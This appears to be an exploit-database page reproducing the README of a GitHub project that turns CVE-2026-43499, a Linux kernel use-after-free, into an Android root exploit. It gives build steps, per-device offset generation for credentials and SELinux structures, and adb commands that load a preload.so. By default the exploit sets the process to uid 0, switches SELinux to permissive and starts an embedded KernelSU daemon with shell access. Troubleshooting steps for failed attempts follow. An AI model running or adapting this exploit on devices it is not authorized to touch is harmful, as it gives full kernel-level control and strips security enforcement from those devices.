Sploitus

Exploit for Use After Free in Linux Linux Kernel

CVE-2026-43499

githubexploit · 2026-09-12

Exploit Code

README252 lines
## https://sploitus.com/exploit?id=B3C0FF23-3715-5ADF-BFF4-021FD2591410
# CVE-2026-43499-root-KernelSU

A local privilege escalation adaptation based on the kernel vulnerability CVE-2026-43499, integrating embedded KernelSU. Compiles and generates `preload.so`; upon successful exploitation, KernelSU will be started in `late-load` mode (jailbreak mode). Supports generating `target.h` from `(xbl_config.img / vendor_boot.img) + boot.img`. or other sources.

Reference projects:
- [Linuxoid-cn/CVE-2026-43499-Poc-Analysis](https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis/)
- [x-spy/CVE-2026-43499-popsicle](https://github.com/x-spy/CVE-2026-43499-popsicle)
- [Colorful-glassblock/duchamp-root](https://github.com/Colorful-glassblock/duchamp-root)

>[!IMPORTANT]
>Unauthorized exploitation of vulnerabilities to damage, compromise, or gain access to computer systems is prohibited by law. This project is strictly for research, educational, and learning purposes, and may only be used in systems and environments for which prior authorization has been granted. Any use of this project is undertaken at the user's own risk. The authors and contributors assume no liability for any misuse of this project or for any damages, losses, or legal consequences resulting from its use.>

### Viewing Available Targets
Run:
```
make list-projects
```

### Generating `target.h`
This repository already includes scripts for generating targets:
- `tools/generate_target.py`
- `tools/vendor/generate_target.py`
- `tools/vendor/generate_target_2.py`
- `tools/vendor/detect_offset.py`

`tools/generate_target.py` is the entry script. It references and encapsulates all target-generation processes from the parent directory, ultimately producing a complete `src/targets//target.h` tailored to this repository’s source code. The script does not enforce the `CONFIG_DEBUG_INFO_BTF=y` setting in IKCONFIG. If the structure offset or percpu `entry_task` layout cannot be verified, a warning will be printed, and generation will continue. If no valid BTF is found in the image, for example, when the following message appears:
```
Valid vmlinux BTF candidates are not unique: []
```
The generator will enter **no BTF fallback** mode.

- It will then continue to retrieve function/global object symbol offsets from the current `boot.img`.

- Structure fields/layout macros that cannot be restored from BTF will inherit the template target; the default template is `rodin`.
- A warning will be written at the top of the generated header, indicating `without BTF` and the used template.
- This type of header ensures as much compileability as possible, but runtime reliability requires actual verification on a real machine. A fallback template can be specified:

```bash
tools/generate_target.py --project  --boot boot.img --profile profile.json --template-target rodin
# or
TARGET_TEMPLATE=rodin tools/generate_target.py --project  --boot boot.img --profile profile.json
```

#### 1. Generate using `boot.img` + `profile.json`

```bash
make generate-target PROJECT= BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
```

By default, the following file will be written to `src/targets//target.h`:

Also, you can directly call the script:

```bash
tools/generate_target.py --project  --boot /path/to/boot.img --profile /path/to/profile.json
```

The `profile.json` must include physical address information, for example:

```json
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}
```

#### 2. Detect the profile from a rooted ADB device

Just generate the profile:

```bash
make detect-profile PROFILE_OUT=profile.json
```

Detect the profile and immediately generate the target:

```bash
tools/generate_target.py --project  --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json
```

#### 3. Generate with `(xbl_config.img / vendor_boot.img)` + `boot.img`

The script also exposes other entry points supported by the parent directory generator:

```bash
tools/generate_target.py --project  --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project  --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project  --boot boot.img --mtk-partitions /path/to/partitions
```

##### Example

```bash
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
```

Successful output:

```text
Generation successful: .../src/targets//target.h
kernel SHA-256: 
target macros: 168
```

`rodin` will default to retaining values verified on a real machine:

```c
#define MM_STRUCT_SZ 0x500
```

If you need to override this:

```bash
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
```

## Adding new targets

It is recommended to generate targets based on matching `boot.img` and `profile.json`:

```bash
make generate-target PROJECT= BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT= -j$(nproc)
```

A complete target header will include:

- Direct map/physical profile constants
- KASLR slide object offsets
- Task/cred/SELinux offsets
- Pipe/fops/configfs offsets
- `pselect` layout values, such as `PSELECT_WAITER_WORD_SHIFT`
- `MM_STRUCT_SZ` and KernelSnitch parameter values

## Running

The current source code has been set to default values. To run it normally, simply set `LD_PRELOAD` and execute any program (it’s recommended to use `toybox id`). 

```bash
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## Default Running Parameters

The current default settings are as follows:

| Setting | Default Value | Description |
| --- | --- | --- |
| `KSUD_LATE_LOAD` | `1` | Execute `ksud late-load` |
| `KSUD_ALLOW_SHELL` | `1` | Pass `--allow-shell` parameter |
| `KSUD_PACKAGE` | `me.weishu.kernelsu` | Package name passed to ksud’s manager (seems ineffective) |
| `KSUD_DST` | `/data/local/tmp/ksud` | Built-in ksud output path |
| `KSUD_SKIP_WRITE` | `0` | Skip writing built-in ksud by default |
| `KSUD_DEFER_TO_PARENT` | `1` | Start ksud from the patched parent/current process path |
| `ROOT_PATCH_SELF` | `1` | Patch the current process with uid 0 |
| `DISABLE_SELINUX` | `1` | Set SELinux enforcing to permissive when patching root |
| `ROOT_EXIT_SLEEP` | unset / `0` | No extra sleep before returning |

The default command executed by ksud is:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

These environment variables can still be overridden during runtime, for example:

```bash
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

To reuse the built-k Sud:

```bash
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## Cleaning Up

```bash
make clean
```

`make clean` will retain `build/embed/ksud`, because `src/ksud_blob.S` is embedded using the following method:

```asm
.incbin "build/embed/ksud"
```

If manual cleaning causes `build/embed/ksud` to be lost, you can restore it by:

```bash
git checkout -- build/embed/ksud
```

## Common Issues

### `"incbin "build/embed/ksud"` not found

After restoring the built payload, rebuild it again:

```bash
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
```

### FOPS route returns `success=0`

`rodin` expects the legacy/simple pselect layout:

```text
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
```

If the device state is contaminated by failed attempts, restart the device before trying again:

```bash
adb reboot
```

### `F_SETPIPE_SZ` returns `EPERM`

This is usually due to state issues caused by failed/remaining attempts. Restarting is the fastest way to fix this:

```bash
adb reboot
```

### `ksud` starts, but `/proc/modules` shows no KernelSU

Check the log:

```bash
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
```

If necessary, run it manually in the root shell:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

## License

GPL-3.0. See [`LICENSE`](LICENSE).